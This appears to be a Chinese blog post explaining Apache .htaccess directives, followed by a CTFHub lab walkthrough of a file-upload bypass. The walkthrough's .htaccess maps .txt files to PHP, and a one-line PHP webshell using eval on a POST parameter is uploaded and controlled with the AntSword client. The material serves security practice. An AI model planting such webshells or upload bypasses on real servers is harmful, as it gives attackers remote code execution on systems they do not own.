首页 > 其他分享 >文件上传

文件上传

时间:2023-11-06 19:11:50浏览次数:26  
标签:文件 httpd 示例 htaccess php 上传 AddType

.htaccess

定义:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。

.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

作用范围:

.htaccess的用途范围主要针对当前目录。

Apache在处理多个 .htaccess 文件时,会依次从上级目录到子目录进行处理,遵循继承(请求涉及到子目录,那么父目录的 .htaccess 文件会首先生效,然后是子目录的 .htaccess 文件)的原则,但如果存在规则冲突,后面的规则会覆盖前面的规则。

启动 .htaccess:

在httpd.conf文件下将AllowOverride none改为

AllowOverride  ALL # 启动.htaccess文件的使用

54e4f55b2b2d4072b765a256209cc96

.htaccess 常见指令:

.htaccess可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

SetHandler

SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理。

•用法:

SetHandler handler-name|None

•示例 1:

SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做 php 解析。

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

•用法:

AddHandler handler-name extensive [extensive] ...

复制

•示例:

AddHandler cgi-script .xxx

复制

即将扩展名为 .xxx 的文件作为 CGI 脚本来处理。

AddType

AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

•用法:

AddType media-type extensive [extensive] ...

•示例 1:

AddType application/x-httpd-php .gif

此时将会把 gif 为后缀的文件当做 php 文件解析。

•示例 2:

AddType application/x-httpd-php png jpg gif

此时将会把 .png .jpg .gif 多个后缀的文件当做 php 解析。

靶场:ctfhub 技能树 .htaccess

将文件名修改为.htaccess

#将txt文件解析为PHP文件执行
AddType application/x-httpd-php .txt

shell.txt

<?php 
echo "PHP Loaded";
eval(@$_POST['a']);
?>

先后上传,然后用蚁剑连接后台

标签:文件,httpd,示例,htaccess,php,上传,AddType
From: https://www.cnblogs.com/huangshisan/p/17813476.html

相关文章

  • 上传大文件的解决方案
    需求:项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在500M内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以501M来进行限制。 第一步:前端修改由于项目使用的是BJUI前端框架,并没有使用框架本身的文件上传控件,而使用的基于jQuery的Uploadify文件上......
  • 【工具包使用】解析txt标注文件
    前言 codeimportosdefparse_onedata(data):print('data:',data)info=data['info']image=data['image']valid=data['valid']rotation=data['rotation']categories=data[&#......
  • Git的使用--如何将本地项目上传到Github
    https://blog.csdn.net/NHB456789/article/details/131596777https://blog.csdn.net/Charles_Tian/article/details/80842439......
  • 解决keil总是编译所有文件的问题
    不知怎么改变了kei的option选项,总是编译所有文件,在网上查了不少帖子,说的都不全面,也没解决,直到看到这篇文章,才解决了,又把3个选项都验证了一下,发现果然是这样的。出现这个问题,可以有以下几种解决方法:方法0:在左侧工程库文件夹上右键,optionforGroup"XXX",将AlwaysBuild去掉前勾选......
  • 大文件上传 问题解决三种方案
    最近遇见一个需要上传百兆大文件的需求,调研了七牛和腾讯云的切片分段上传功能,因此在此整理前端大文件上传相关功能的实现。在某些业务中,大文件上传是一个比较重要的交互场景,如上传入库比较大的Excel表格数据、上传影音文件等。如果文件体积比较大,或者网络条件不好时,上传的时间会......
  • php 点击下载文件
    //下载文件publicfunctiondownload(Request$request){$file_path='C:/Users/Admin/Desktop/办公材料/缓存.txt';$file_name='缓存.txt';if(!file_exists($file_path)){echo'文件不存在';exit();}header('Con......
  • Linux下用文件IO的方式操作GPIO(/sys/class/gpio)
    通过sysfs方式控制GPIO,先访问/sys/class/gpio目录,向export文件写入GPIO编号,使得该GPIO的操作接口从内核空间暴露到用户空间,GPIO的操作接口包括direction和value等,direction控制GPIO方向,而value可控制GPIO输出或获得GPIO输入。文件IO方式操作GPIO,使用到了4个函数open、close、read......
  • 使用Feign接口实现文件上传的解决方案
    原文链接:使用Feign接口实现文件上传的解决方案一般的情况下,后端有个微服务,暴露出一个文件上传的restful接口给前端,前端调用该接口获取上传后的链接以及osskey值完成上传。假设提供restful接口的这个服务叫做A,现在有个微服务B有个本地文件,需要将本地文件调用A文件文件上传接口上传......
  • vue3.0 + ts 实现上传工厂(oss与cos)
    概述将上传基类命名为MOS(MineObjectStorage)mos.ts代码import{MosType}from'./mosConfig'import{Loading}from'../loading'import{typeBinaryFile,typeMosFile}from'./fileUtil'importtype{PathTemplate}from'./pathTempla......
  • 《python基础教程(第二版)》学习笔记 文件和素材(第11章)
    《python基础教程(第二版)》学习笔记文件和素材(第11章)打开文件:open(filename[,mode[,buffering]])mode是读写文件的模式f=open(r'c:\somefile.txt')#默认是读模式+表示是可以读写;r读模式;w写模式;a追加模式;b二进制模式;换行符在Windows为\r\n,在Unix中为\n,Python会自动转......